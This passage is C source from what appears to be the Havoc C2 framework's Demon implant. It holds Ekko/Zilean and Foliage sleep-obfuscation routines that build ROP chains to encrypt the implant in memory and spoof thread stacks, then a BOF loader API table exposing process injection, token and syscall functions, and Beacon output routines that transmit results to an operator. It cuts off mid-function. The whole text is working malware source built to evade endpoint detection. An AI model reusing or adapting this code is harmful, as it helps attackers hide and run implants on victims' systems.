TODO: try to spoof the stack and remove the pointers // Execute every registered Apc thread SysNtSignalAndWaitForSingleObject( hEvent, hThread, FALSE, NULL ); } } } } } Leave: if ( RopExitThd != NULL ) { Instance->Win32.LocalFree( RopExitThd ); RopExitThd = NULL; } if ( RopSetCtx2 != NULL ) { Instance->Win32.LocalFree( RopSetCtx2 ); RopSetCtx2 = NULL; } if ( RopSetMemRx != NULL ) { Instance->Win32.LocalFree( RopSetMemRx ); RopSetMemRx = NULL; } if ( RopMemDec != NULL ) { Instance->Win32.LocalFree( RopMemDec ); RopMemDec = NULL; } if ( RopWaitObj != NULL ) { Instance->Win32.LocalFree( RopWaitObj ); RopWaitObj = NULL; } if ( RopSetCtx != NULL ) { Instance->Win32.LocalFree( RopSetCtx ); RopSetCtx = NULL; } if ( RopSetMemRw != NULL ) { Instance->Win32.LocalFree( RopSetMemRw ); RopSetMemRw = NULL; } if ( RopBegin != NULL ) { Instance->Win32.LocalFree( RopBegin ); RopBegin = NULL; } if ( RopSpoof != NULL ) { Instance->Win32.LocalFree( RopSpoof ); RopSpoof = NULL; } if ( RopCap != NULL ) { Instance->Win32.LocalFree( RopCap ); RopCap = NULL; } if ( RopInit != NULL ) { Instance->Win32.LocalFree( RopInit ); RopInit = NULL; } if ( hDupObj != NULL ) { SysNtClose( hDupObj ); hDupObj = NULL; } if ( hThread != NULL ) { SysNtTerminateThread( hThread, STATUS_SUCCESS ); hThread = NULL; } if ( hEvent != NULL ) { SysNtClose( hEvent ); hEvent = NULL; } MemSet( &Rc4, 0, sizeof( USTRING ) ); MemSet( &Key, 0, sizeof( USTRING ) ); MemSet( &Random, 0, 0x10 ); Instance->Win32.SwitchToFiber( Param->Master ); } /*! * @brief * ekko/zilean sleep obfuscation technique using * Timers Api (RtlCreateTimer/RtlRegisterWait) * with stack duplication/spoofing by duplicating the * NT_TIB from another thread. * * @note * this technique most likely wont work when the * process is also actively using the timers api. * So in future either use Veh + hardware breakpoints * to create our own thread pool or leave it as it is. * * @param TimeOut * @param Method * @return */ BOOL TimerObf( _In_ ULONG TimeOut, _In_ ULONG Method ) { /* Handles */ HANDLE Queue = { 0 }; HANDLE Timer = { 0 }; HANDLE ThdSrc = { 0 }; HANDLE EvntStart = { 0 }; HANDLE EvntTimer = { 0 }; HANDLE EvntDelay = { 0 }; HANDLE EvntWait = { 0 }; UCHAR Buf[ 16 ] = { 0 }; USTRING Key = { 0 }; USTRING Img = { 0 }; PVOID ImgBase = { 0 }; ULONG ImgSize = { 0 }; CONTEXT TimerCtx = { 0 }; CONTEXT ThdCtx = { 0 }; CONTEXT Rop[ 13 ] = { 0 }; ULONG Value = { 0 }; ULONG Delay = { 0 }; BOOL Success = { 0 }; NT_TIB NtTib = { 0 }; NT_TIB BkpTib = { 0 }; NTSTATUS NtStatus = { 0 }; ULONG Inc = { 0 }; LPVOID ImageBase = { 0 }; SIZE_T ImageSize = { 0 }; LPVOID TxtBase = { 0 }; SIZE_T TxtSize = { 0 }; ULONG Protect = { 0 }; BYTE JmpBypass = { 0 }; PVOID JmpGadget = { 0 }; BYTE JmpPad[] = { 0xFF, 0xE0 }; ImageBase = TxtBase = Instance->Session.ModuleBase; ImageSize = TxtSize = Instance->Session.ModuleSize; Protect = PAGE_EXECUTE_READWRITE; JmpBypass = Instance->Config.Implant.SleepJmpBypass; if ( Instance->Session.TxtBase && Instance->Session.TxtSize ) { TxtBase = Instance->Session.TxtBase; TxtSize = Instance->Session.TxtSize; Protect = PAGE_EXECUTE_READ; } /* create a random key */ for ( BYTE i = 0; i < 16; i++ ) { Buf[ i ] = RandomNumber32( ); } /* set specific context flags */ ThdCtx.ContextFlags = TimerCtx.ContextFlags = CONTEXT_FULL; /* set key pointer and size */ Key.Buffer = Buf; Key.Length = Key.MaximumLength = sizeof( Buf ); /* set agent memory pointer and size */ Img.Buffer = ImgBase = Instance->Session.ModuleBase; Img.Length = Img.MaximumLength = ImgSize = Instance->Session.ModuleSize; if ( Method == SLEEPOBF_EKKO ) { NtStatus = Instance->Win32.RtlCreateTimerQueue( &Queue ); } else if ( Method == SLEEPOBF_ZILEAN ) { NtStatus = Instance->Win32.NtCreateEvent( &EvntWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ); } if ( NT_SUCCESS( NtStatus ) ) { /* create events */ if ( NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) && NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) && NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntDelay, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { /* get the context of the Timer thread based on the method used */ if ( Method == SLEEPOBF_EKKO ) { NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ); } else if ( Method == SLEEPOBF_ZILEAN ) { NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance->Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ); } if ( NT_SUCCESS( NtStatus ) ) { /* Send event that we got the context of the timers thread */ if ( Method == SLEEPOBF_EKKO ) { NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( EventSet ), EvntTimer, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ); } else if ( Method == SLEEPOBF_ZILEAN ) { NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( EventSet ), EvntTimer, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ); } if ( NT_SUCCESS( NtStatus ) ) { /* wait til we successfully retrieved the timers thread context */ if ( ! NT_SUCCESS( NtStatus = SysNtWaitForSingleObject( EvntTimer, FALSE, NULL ) ) ) { PRINTF( "Failed waiting for starting event: %lx\n", NtStatus ) goto LEAVE; } /* if stack spoofing is enabled then prepare some stuff */ if ( Instance->Config.Implant.StackSpoof ) { /* retrieve Tib if stack spoofing is enabled */ if ( ! ThreadQueryTib( C_PTR( TimerCtx.Rsp ), &NtTib ) ) { PUTS( "Failed to retrieve Tib" ) goto LEAVE; } /* duplicate the current thread we are going to spoof the stack */ if ( ! NT_SUCCESS( NtStatus = SysNtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &ThdSrc, 0, 0, DUPLICATE_SAME_ACCESS ) ) ) { PRINTF( "NtDuplicateObject Failed: %lx\n", NtStatus ) goto LEAVE; } /* NtTib backup */ MemCopy( &BkpTib, &Instance->Teb->NtTib, sizeof( NT_TIB ) ); } /* search for jmp instruction */ if ( JmpBypass ) { /* change padding to "jmp rbx" */ if ( JmpBypass == SLEEPOBF_BYPASS_JMPRBX ) { JmpPad[ 1 ] = 0x23; } /* scan memory for gadget */ if ( ! ( JmpGadget = MmGadgetFind( C_PTR( U_PTR( Instance->Modules.Ntdll ) + LDR_GADGET_HEADER_SIZE ), LDR_GADGET_MODULE_SIZE, JmpPad, sizeof( JmpPad ) ) ) ) { JmpBypass = SLEEPOBF_BYPASS_NONE; } } /* at this point we can start preparing the ROPs and execute the timers */ for ( int i = 0; i < 13; i++ ) { MemCopy( &Rop[ i ], &TimerCtx, sizeof( CONTEXT ) ); Rop[ i ].Rip = U_PTR( JmpGadget ); Rop[ i ].Rsp -= sizeof( PVOID ); } /* Start of Ropchain */ OBF_JMP( Inc, Instance->Win32.WaitForSingleObjectEx ); Rop[ Inc ].Rcx = U_PTR( EvntStart ); Rop[ Inc ].Rdx = U_PTR( INFINITE ); Rop[ Inc ].R8 = U_PTR( FALSE ); Inc++; /* Protect */ OBF_JMP( Inc, Instance->Win32.VirtualProtect ); Rop[ Inc ].Rcx = U_PTR( ImgBase ); Rop[ Inc ].Rdx = U_PTR( ImgSize ); Rop[ Inc ].R8 = U_PTR( PAGE_READWRITE ); Rop[ Inc ].R9 = U_PTR( &Value ); Inc++; /* Encrypt image base address */ OBF_JMP( Inc, Instance->Win32.SystemFunction032 ); Rop[ Inc ].Rcx = U_PTR( &Img ); Rop[ Inc ].Rdx = U_PTR( &Key ); Inc++; /* perform stack spoofing */ if ( Instance->Config.Implant.StackSpoof ) { OBF_JMP( Inc, Instance->Win32.NtGetContextThread ) Rop[ Inc ].Rcx = U_PTR( ThdSrc ); Rop[ Inc ].Rdx = U_PTR( &ThdCtx ); Inc++; OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory ) Rop[ Inc ].Rcx = U_PTR( &TimerCtx.Rip ); Rop[ Inc ].Rdx = U_PTR( &ThdCtx.Rip ); Rop[ Inc ].R8 = U_PTR( sizeof( VOID ) ); Inc++; OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory ) Rop[ Inc ].Rcx = U_PTR( &Instance->Teb->NtTib ); Rop[ Inc ].Rdx = U_PTR( &NtTib ); Rop[ Inc ].R8 = U_PTR( sizeof( NT_TIB ) ); Inc++; OBF_JMP( Inc, Instance->Win32.NtSetContextThread ) Rop[ Inc ].Rcx = U_PTR( ThdSrc ); Rop[ Inc ].Rdx = U_PTR( &TimerCtx ); Inc++; } /* Sleep */ OBF_JMP( Inc, Instance->Win32.WaitForSingleObjectEx ) Rop[ Inc ].Rcx = U_PTR( NtCurrentProcess() ); Rop[ Inc ].Rdx = U_PTR( Delay + TimeOut ); Rop[ Inc ].R8 = U_PTR( FALSE ); Inc++; /* undo stack spoofing */ if ( Instance->Config.Implant.StackSpoof ) { OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory ) Rop[ Inc ].Rcx = U_PTR( &Instance->Teb->NtTib ); Rop[ Inc ].Rdx = U_PTR( &BkpTib ); Rop[ Inc ].R8 = U_PTR( sizeof( NT_TIB ) ); Inc++; OBF_JMP( Inc, Instance->Win32.NtSetContextThread ) Rop[ Inc ].Rcx = U_PTR( ThdSrc ); Rop[ Inc ].Rdx = U_PTR( &ThdCtx ); Inc++; } /* Sys032 */ OBF_JMP( Inc, Instance->Win32.SystemFunction032 ) Rop[ Inc ].Rcx = U_PTR( &Img ); Rop[ Inc ].Rdx = U_PTR( &Key ); Inc++; /* Protect */ OBF_JMP( Inc, Instance->Win32.VirtualProtect ) Rop[ Inc ].Rcx = U_PTR( TxtBase ); Rop[ Inc ].Rdx = U_PTR( TxtSize ); Rop[ Inc ].R8 = U_PTR( Protect ); Rop[ Inc ].R9 = U_PTR( &Value ); Inc++; /* End of Ropchain */ Rop[ Inc ].Rip = U_PTR( Instance->Win32.NtSetEvent ); OBF_JMP( Inc, Instance->Win32.NtSetEvent ) Rop[ Inc ].Rcx = U_PTR( EvntDelay ); Rop[ Inc ].Rdx = U_PTR( NULL ); Inc++; PRINTF( "Rops to be executed: %d\n", Inc ) /* execute/queue the timers */ for ( int i = 0; i < Inc; i++ ) { if ( Method == SLEEPOBF_EKKO ) { if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.NtContinue ), &Rop[ i ], Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ) ) ) { PRINTF( "RtlCreateTimer Failed: %lx\n", NtStatus ) goto LEAVE; } } else if ( Method == SLEEPOBF_ZILEAN ) { if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance->Win32.NtContinue ), &Rop[ i ], Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) { PRINTF( "RtlRegisterWait Failed: %lx\n", NtStatus ) goto LEAVE; } } } /* just wait for the sleep to end */ if ( ! ( Success = NT_SUCCESS( NtStatus = SysNtSignalAndWaitForSingleObject( EvntStart, EvntDelay, FALSE, NULL ) ) ) ) { PRINTF( "NtSignalAndWaitForSingleObject Failed: %lx\n", NtStatus ); } } else { PRINTF( "RtlCreateTimer/RtlRegisterWait Failed: %lx\n", NtStatus ) } } else { PRINTF( "RtlCreateTimer/RtlRegisterWait Failed: %lx\n", NtStatus ) } } else { PRINTF( "NtCreateEvent Failed: %lx\n", NtStatus ) } } else { PRINTF( "RtlCreateTimerQueue/NtCreateEvent Failed: %lx\n", NtStatus ) } LEAVE: /* cleanup */ if ( Queue ) { Instance->Win32.RtlDeleteTimerQueue( Queue ); Queue = NULL; } if ( EvntTimer ) { SysNtClose( EvntTimer ); EvntTimer = NULL; } if ( EvntStart ) { SysNtClose( EvntStart ); EvntStart = NULL; } if ( EvntDelay ) { SysNtClose( EvntDelay ); EvntDelay = NULL; } if ( EvntWait ) { SysNtClose( EvntWait ); EvntWait = NULL; } if ( ThdSrc ) { SysNtClose( ThdSrc ); ThdSrc = NULL; } /* clear the structs from stack */ for ( int i = 0; i < 13; i++ ) { RtlSecureZeroMemory( &Rop[ i ], sizeof( CONTEXT ) ); } /* clear key from memory */ RtlSecureZeroMemory( Buf, sizeof( Buf ) ); return Success; } #endif UINT32 SleepTime( VOID ) { UINT32 SleepTime = Instance->Config.Sleeping * 1000; UINT32 MaxVariation = ( Instance->Config.Jitter * SleepTime ) / 100; ULONG Rand = 0; UINT32 WorkingHours = Instance->Config.Transport.WorkingHours; SYSTEMTIME SystemTime = { 0 }; WORD StartHour = 0; WORD StartMinute = 0; WORD EndHour = 0; WORD EndMinute = 0; if ( ! InWorkingHours() ) { /* * we are no longer in working hours, * if the SleepTime is 0, then we will assume the operator is performing some "important" task right now, * so we will ignore working hours, and we won't sleep * if the SleepTime is not 0, we will sleep until we are in working hours again */ if ( SleepTime ) { // calculate how much we need to sleep until we reach the start of the working hours SleepTime = 0; StartHour = ( WorkingHours >> 17 ) & 0b011111; StartMinute = ( WorkingHours >> 11 ) & 0b111111; EndHour = ( WorkingHours >> 6 ) & 0b011111; EndMinute = ( WorkingHours >> 0 ) & 0b111111; Instance->Win32.GetLocalTime(&SystemTime); if ( SystemTime.wHour == EndHour && SystemTime.wMinute > EndMinute || SystemTime.wHour > EndHour ) { // seconds until 00:00 SleepTime += ( 24 - SystemTime.wHour - 1 ) * 60 + ( 60 - SystemTime.wMinute ); // seconds until start of working hours from 00:00 SleepTime += StartHour * 60 + StartMinute; } else { // seconds until start of working hours from current time SleepTime += ( StartHour - SystemTime.wHour ) * 60 + ( StartMinute - SystemTime.wMinute ); } SleepTime *= 1000; } } // MaxVariation will be non-zero if sleep jitter was specified else if ( MaxVariation ) { Rand = RandomNumber32(); Rand = Rand % MaxVariation; if ( RandomBool() ) { SleepTime += Rand; } else { SleepTime -= Rand; } } return SleepTime; } VOID SleepObf( VOID ) { UINT32 TimeOut = SleepTime(); DWORD Technique = Instance->Config.Implant.SleepMaskTechnique; /* don't do any sleep obf. waste of resources */ if ( TimeOut == 0 ) { return; } #if _WIN64 if ( Instance->Threads ) { PRINTF( "Can't sleep obf. Threads running: %d\n", Instance->Threads ) Technique = 0; } switch ( Technique ) { case SLEEPOBF_FOLIAGE: { SLEEP_PARAM Param = { 0 }; if ( ( Param.Master = Instance->Win32.ConvertThreadToFiberEx( &Param, 0 ) ) ) { if ( ( Param.Slave = Instance->Win32.CreateFiberEx( 0x1000 * 6, 0, 0, C_PTR( FoliageObf ), &Param ) ) ) { Param.TimeOut = TimeOut; Instance->Win32.SwitchToFiber( Param.Slave ); Instance->Win32.DeleteFiber( Param.Slave ); } Instance->Win32.ConvertFiberToThread( ); } break; } /* timer api based sleep obfuscation */ case SLEEPOBF_EKKO: case SLEEPOBF_ZILEAN: { if ( ! TimerObf( TimeOut, Technique ) ) { goto DEFAULT; } break; } /* default */ DEFAULT: case SLEEPOBF_NO_OBF: {}; default: { SpoofFunc( Instance->Modules.Kernel32, IMAGE_SIZE( Instance->Modules.Kernel32 ), Instance->Win32.WaitForSingleObjectEx, NtCurrentProcess(), C_PTR( TimeOut ), FALSE ); } } #else // TODO: add support for sleep obf and spoofing Instance->Win32.WaitForSingleObjectEx( NtCurrentProcess(), TimeOut, FALSE ); #endif } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/ObjectApi.c000066400000000000000000000574371467014221700237100ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #ifndef bufsize #define bufsize 8192 #endif // Meh some wrapper functions for internal demon GetProcAddress and GetModuleHandleA functions. PVOID LdrModulePebString( PCHAR ModuleString ) { PRINTF( "ModuleString: %s : %lx\n", ModuleString, HashEx( ModuleString, 0, TRUE ) ) return Instance->Win32.GetModuleHandleA( ModuleString ); } PVOID LdrFunctionAddrString( PVOID Module, PCHAR Function ) { PRINTF( "Module:[%p] Function:[%s : %lx]\n", Module, Function, HashEx( Function, 0, TRUE ) ) return LdrFunctionAddr( Module, HashEx( Function, 0, TRUE ) ); } BOOL LdrFreeLibrary( HMODULE hLibModule ) { return Instance->Win32.FreeLibrary( hLibModule ); } HLOCAL LdrLocalFree( PVOID hMem ) { return Instance->Win32.LocalFree( hMem ); } COFFAPIFUNC BeaconApi[] = { { .NameHash = H_COFFAPI_BEACONDATAPARSER, .Pointer = BeaconDataParse }, { .NameHash = H_COFFAPI_BEACONDATAINT, .Pointer = BeaconDataInt }, { .NameHash = H_COFFAPI_BEACONDATASHORT, .Pointer = BeaconDataShort }, { .NameHash = H_COFFAPI_BEACONDATALENGTH, .Pointer = BeaconDataLength }, { .NameHash = H_COFFAPI_BEACONDATAEXTRACT, .Pointer = BeaconDataExtract }, { .NameHash = H_COFFAPI_BEACONFORMATALLOC, .Pointer = BeaconFormatAlloc }, { .NameHash = H_COFFAPI_BEACONFORMATRESET, .Pointer = BeaconFormatReset }, { .NameHash = H_COFFAPI_BEACONFORMATFREE, .Pointer = BeaconFormatFree }, { .NameHash = H_COFFAPI_BEACONFORMATAPPEND, .Pointer = BeaconFormatAppend }, { .NameHash = H_COFFAPI_BEACONFORMATPRINTF, .Pointer = BeaconFormatPrintf }, { .NameHash = H_COFFAPI_BEACONFORMATTOSTRING, .Pointer = BeaconFormatToString }, { .NameHash = H_COFFAPI_BEACONFORMATINT, .Pointer = BeaconFormatInt }, { .NameHash = H_COFFAPI_BEACONPRINTF, .Pointer = BeaconPrintf }, { .NameHash = H_COFFAPI_BEACONOUTPUT, .Pointer = BeaconOutput }, { .NameHash = H_COFFAPI_BEACONUSETOKEN, .Pointer = BeaconUseToken }, { .NameHash = H_COFFAPI_BEACONREVERTTOKEN, .Pointer = TokenRevSelf }, { .NameHash = H_COFFAPI_BEACONISADMIN, .Pointer = BeaconIsAdmin }, { .NameHash = H_COFFAPI_BEACONGETSPAWNTO, .Pointer = BeaconGetSpawnTo }, { .NameHash = H_COFFAPI_BEACONINJECTPROCESS, .Pointer = BeaconInjectProcess }, { .NameHash = H_COFFAPI_BEACONSPAWNTEMPORARYPROCESS, .Pointer = BeaconSpawnTemporaryProcess }, { .NameHash = H_COFFAPI_BEACONINJECTTEMPORARYPROCESS, .Pointer = BeaconInjectTemporaryProcess }, { .NameHash = H_COFFAPI_BEACONCLEANUPPROCESS, .Pointer = BeaconCleanupProcess }, { .NameHash = H_COFFAPI_BEACONINFORMATION, .Pointer = BeaconInformation }, { .NameHash = H_COFFAPI_BEACONADDVALUE, .Pointer = BeaconAddValue }, { .NameHash = H_COFFAPI_BEACONGETVALUE, .Pointer = BeaconGetValue }, { .NameHash = H_COFFAPI_BEACONREMOVEVALUE, .Pointer = BeaconRemoveValue }, { .NameHash = H_COFFAPI_BEACONDATASTOREGETITEM, .Pointer = BeaconDataStoreGetItem }, { .NameHash = H_COFFAPI_BEACONDATASTOREPROTECTITEM, .Pointer = BeaconDataStoreProtectItem }, { .NameHash = H_COFFAPI_BEACONDATASTOREUNPROTECTITEM, .Pointer = BeaconDataStoreUnprotectItem }, { .NameHash = H_COFFAPI_BEACONDATASTOREMAXENTRIES, .Pointer = BeaconDataStoreMaxEntries }, { .NameHash = H_COFFAPI_BEACONGETCUSTOMUSERDATA, .Pointer = BeaconGetCustomUserData }, // End of array { .NameHash = 0, .Pointer = NULL }, }; COFFAPIFUNC LdrApi[] = { { .NameHash = H_COFFAPI_TOWIDECHAR, .Pointer = toWideChar }, { .NameHash = H_COFFAPI_LOADLIBRARYA, .Pointer = LdrModuleLoad }, { .NameHash = H_COFFAPI_GETMODULEHANDLE, .Pointer = LdrModulePebString }, { .NameHash = H_COFFAPI_GETPROCADDRESS, .Pointer = LdrFunctionAddrString }, { .NameHash = H_COFFAPI_FREELIBRARY, .Pointer = LdrFreeLibrary }, { .NameHash = H_COFFAPI_LOCALFREE, .Pointer = LdrLocalFree }, // End of array { .NameHash = 0, .Pointer = NULL }, }; COFFAPIFUNC NtApi[] = { { .NameHash = H_COFFAPI_NTOPENTHREAD, .Pointer = SysNtOpenThread }, { .NameHash = H_COFFAPI_NTOPENPROCESS, .Pointer = SysNtOpenProcess }, { .NameHash = H_COFFAPI_NTTERMINATEPROCESS, .Pointer = SysNtTerminateProcess }, { .NameHash = H_COFFAPI_NTOPENTHREADTOKEN, .Pointer = SysNtOpenThreadToken }, { .NameHash = H_COFFAPI_NTOPENPROCESSTOKEN, .Pointer = SysNtOpenProcessToken }, { .NameHash = H_COFFAPI_NTDUPLICATETOKEN, .Pointer = SysNtDuplicateToken }, { .NameHash = H_COFFAPI_NTQUEUEAPCTHREAD, .Pointer = SysNtQueueApcThread }, { .NameHash = H_COFFAPI_NTSUSPENDTHREAD, .Pointer = SysNtSuspendThread }, { .NameHash = H_COFFAPI_NTRESUMETHREAD, .Pointer = SysNtResumeThread }, { .NameHash = H_COFFAPI_NTCREATEEVENT, .Pointer = SysNtCreateEvent }, { .NameHash = H_COFFAPI_NTCREATETHREADEX, .Pointer = SysNtCreateThreadEx }, { .NameHash = H_COFFAPI_NTDUPLICATEOBJECT, .Pointer = SysNtDuplicateObject }, { .NameHash = H_COFFAPI_NTGETCONTEXTTHREAD, .Pointer = SysNtGetContextThread }, { .NameHash = H_COFFAPI_NTSETCONTEXTTHREAD, .Pointer = SysNtSetContextThread }, { .NameHash = H_COFFAPI_NTQUERYINFORMATIONPROCESS, .Pointer = SysNtQueryInformationProcess }, { .NameHash = H_COFFAPI_NTQUERYSYSTEMINFORMATION, .Pointer = SysNtQuerySystemInformation }, { .NameHash = H_COFFAPI_NTWAITFORSINGLEOBJECT, .Pointer = SysNtWaitForSingleObject }, { .NameHash = H_COFFAPI_NTALLOCATEVIRTUALMEMORY, .Pointer = SysNtAllocateVirtualMemory }, { .NameHash = H_COFFAPI_NTWRITEVIRTUALMEMORY, .Pointer = SysNtWriteVirtualMemory }, { .NameHash = H_COFFAPI_NTFREEVIRTUALMEMORY, .Pointer = SysNtFreeVirtualMemory }, { .NameHash = H_COFFAPI_NTUNMAPVIEWOFSECTION, .Pointer = SysNtUnmapViewOfSection }, { .NameHash = H_COFFAPI_NTPROTECTVIRTUALMEMORY, .Pointer = SysNtProtectVirtualMemory }, { .NameHash = H_COFFAPI_NTREADVIRTUALMEMORY, .Pointer = SysNtReadVirtualMemory }, { .NameHash = H_COFFAPI_NTTERMINATETHREAD, .Pointer = SysNtTerminateThread }, { .NameHash = H_COFFAPI_NTALERTRESUMETHREAD, .Pointer = SysNtAlertResumeThread }, { .NameHash = H_COFFAPI_NTSIGNALANDWAITFORSINGLEOBJECT, .Pointer = SysNtSignalAndWaitForSingleObject }, { .NameHash = H_COFFAPI_NTQUERYVIRTUALMEMORY, .Pointer = SysNtQueryVirtualMemory }, { .NameHash = H_COFFAPI_NTQUERYINFORMATIONTOKEN, .Pointer = SysNtQueryInformationToken }, { .NameHash = H_COFFAPI_NTQUERYINFORMATIONTHREAD, .Pointer = SysNtQueryInformationThread }, { .NameHash = H_COFFAPI_NTQUERYOBJECT, .Pointer = SysNtQueryObject }, { .NameHash = H_COFFAPI_NTCLOSE, .Pointer = SysNtClose }, { .NameHash = H_COFFAPI_NTSETINFORMATIONTHREAD, .Pointer = SysNtSetInformationThread }, { .NameHash = H_COFFAPI_NTSETINFORMATIONVIRTUALMEMORY, .Pointer = SysNtSetInformationVirtualMemory }, { .NameHash = H_COFFAPI_NTGETNEXTTHREAD, .Pointer = SysNtGetNextThread }, // End of array { .NameHash = 0, .Pointer = NULL }, }; uint32_t swap_endianess(uint32_t indata) { uint32_t testint = 0xaabbccdd; uint32_t outint = indata; if (((unsigned char*)&testint)[0] == 0xdd) { ((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3]; ((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2]; ((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1]; ((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0]; } return outint; } VOID BeaconDataParse( PDATA parser, PCHAR buffer, INT size ) { if ( parser == NULL ) return; parser->original = buffer; parser->buffer = buffer; parser->length = size - 4; parser->size = size - 4; parser->buffer += 4; } INT BeaconDataInt( PDATA parser ) { UINT32 Value = 0; if ( parser->length < 4 ) return 0; MemCopy( &Value, parser->buffer, 4 ); parser->buffer += 4; parser->length -= 4; return ( INT ) Value; } SHORT BeaconDataShort( datap* parser ) { UINT16 Value = 0; if ( parser->length < 2 ) return 0; MemCopy( &Value, parser->buffer, 2 ); parser->buffer += 2; parser->length -= 2; return ( short ) Value; } INT BeaconDataLength( PDATA parser ) { return parser->length; } PCHAR BeaconDataExtract( PDATA parser, PINT size ) { INT Length = 0; PVOID Data = NULL; if ( parser->length < 4 ) return NULL; MemCopy( &Length, parser->buffer, 4 ); parser->buffer += 4; Data = parser->buffer; if ( Data == NULL ) return NULL; parser->length -= 4; parser->length -= Length; parser->buffer += Length; if ( size != NULL ) *size = Length; return Data; } /* * This function is called by BeaconPrintf and BeaconOutput. * It loops over all the COFFEE structs saved on the Instance object * trying to find which BOF called BeaconPrintf/BeaconOutput * once it finds it, it returns the RequestID * this is so that the TS can identify which BOF is sending the output data. * This is needed because you can have more than one BOF mapped in memory at the same time */ BOOL GetRequestIDForCallingObjectFile( PVOID CoffeeFunctionReturn, PUINT32 RequestID ) { PCOFFEE Entry = Instance->Coffees; if ( ! CoffeeFunctionReturn || ! RequestID ) return FALSE; while ( Entry ) { if ( ( ULONG_PTR ) CoffeeFunctionReturn >= ( ULONG_PTR ) Entry->ImageBase && ( ULONG_PTR ) CoffeeFunctionReturn < ( ( ULONG_PTR ) Entry->ImageBase + Entry->BofSize ) ) { //PRINTF( "Found the RequestID for the calling BOF: %x\n", Entry->RequestID ) *RequestID = Entry->RequestID; return TRUE; } Entry = Entry->Next; } PUTS( "Failed to find the RequestID for the calling BOF" ) return FALSE; } VOID BeaconPrintf( INT Type, PCHAR fmt, ... ) { //PRINTF( "BeaconPrintf( %d, %x, ... )\n", Type, fmt ) PPACKAGE package = NULL; va_list VaListArg = 0; PVOID CallbackOutput = NULL; INT CallbackSize = 0; UINT32 RequestID = 0; PVOID CoffeeFunctionReturn = __builtin_return_address( 0 ); if ( ! fmt ) { PUTS( "Format string can't be NULL" ); return; } if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) ) package = PackageCreateWithRequestID( BEACON_OUTPUT, RequestID ); else package = PackageCreate( BEACON_OUTPUT ); va_start( VaListArg, fmt ); CallbackSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg ); if ( CallbackSize < 0 ) { PUTS( "Failed to calculate final string length" ) va_end( VaListArg ); return; } CallbackOutput = Instance->Win32.LocalAlloc( LPTR, CallbackSize + 1 ); if ( ! CallbackOutput ) { PUTS( "Failed to allocate CallbackOutput" ); va_end( VaListArg ); return; } if ( Instance->Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg ) < 0 ) { PUTS( "Failed to format string" ) MemSet( CallbackOutput, 0, CallbackSize ); Instance->Win32.LocalFree( CallbackOutput ); va_end( VaListArg ); return; } va_end( VaListArg ); PRINTF( "CallbackOutput[%d]: \n%s\n", CallbackSize, CallbackOutput ); PackageAddInt32( package, Type ); PackageAddBytes( package, CallbackOutput, CallbackSize ); PackageTransmit( package ); MemSet( CallbackOutput, 0, CallbackSize ); Instance->Win32.LocalFree( CallbackOutput ); } VOID BeaconOutput( INT Type, PCHAR data, INT len ) { PRINTF( "BeaconOutput( %d, %p, %d )\n", Type, data, len ) UINT32 RequestID = 0; PPACKAGE Package = NULL; PVOID CoffeeFunctionReturn = __builtin_return_address( 0 ); if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) ) { Package = PackageCreateWithRequestID( BEACON_OUTPUT, RequestID ); } else { Package = PackageCreate( BEACON_OUTPUT ); } PackageAddInt32( Package, Type ); PackageAddBytes( Package, ( PBYTE ) data, len ); PackageTransmit( Package ); } BOOL BeaconIsAdmin( VOID ) { HANDLE Token = { 0 }; BOOL Admin = FALSE; /* query if current process token is elevated or not */ if ( ( Token = TokenCurrentHandle() ) ) { Admin = TokenElevated( Token ); } /* close token handle */ if ( Token ) { SysNtClose( Token ); } return Admin; } VOID BeaconFormatAlloc( PFORMAT format, int maxsz ) { if ( format == NULL ) return; format->original = Instance->Win32.LocalAlloc(maxsz, 1); format->buffer = format->original; format->length = 0; format->size = maxsz; } VOID BeaconFormatReset( PFORMAT format ) { MemSet( format->original, 0, format->size ); format->buffer = format->original; format->length = format->size; } VOID BeaconFormatFree( PFORMAT format ) { if ( format == NULL ) return; if ( format->original ) { Instance->Win32.LocalFree( format->original ); format->original = NULL; } format->buffer = NULL; format->length = 0; format->size = 0; } VOID BeaconFormatAppend( PFORMAT format, char* text, int len ) { MemCopy( format->buffer, text, len ); format->buffer += len; format->length += len; } VOID BeaconFormatPrintf( PFORMAT format, char* fmt, ... ) { va_list args = { 0 }; int 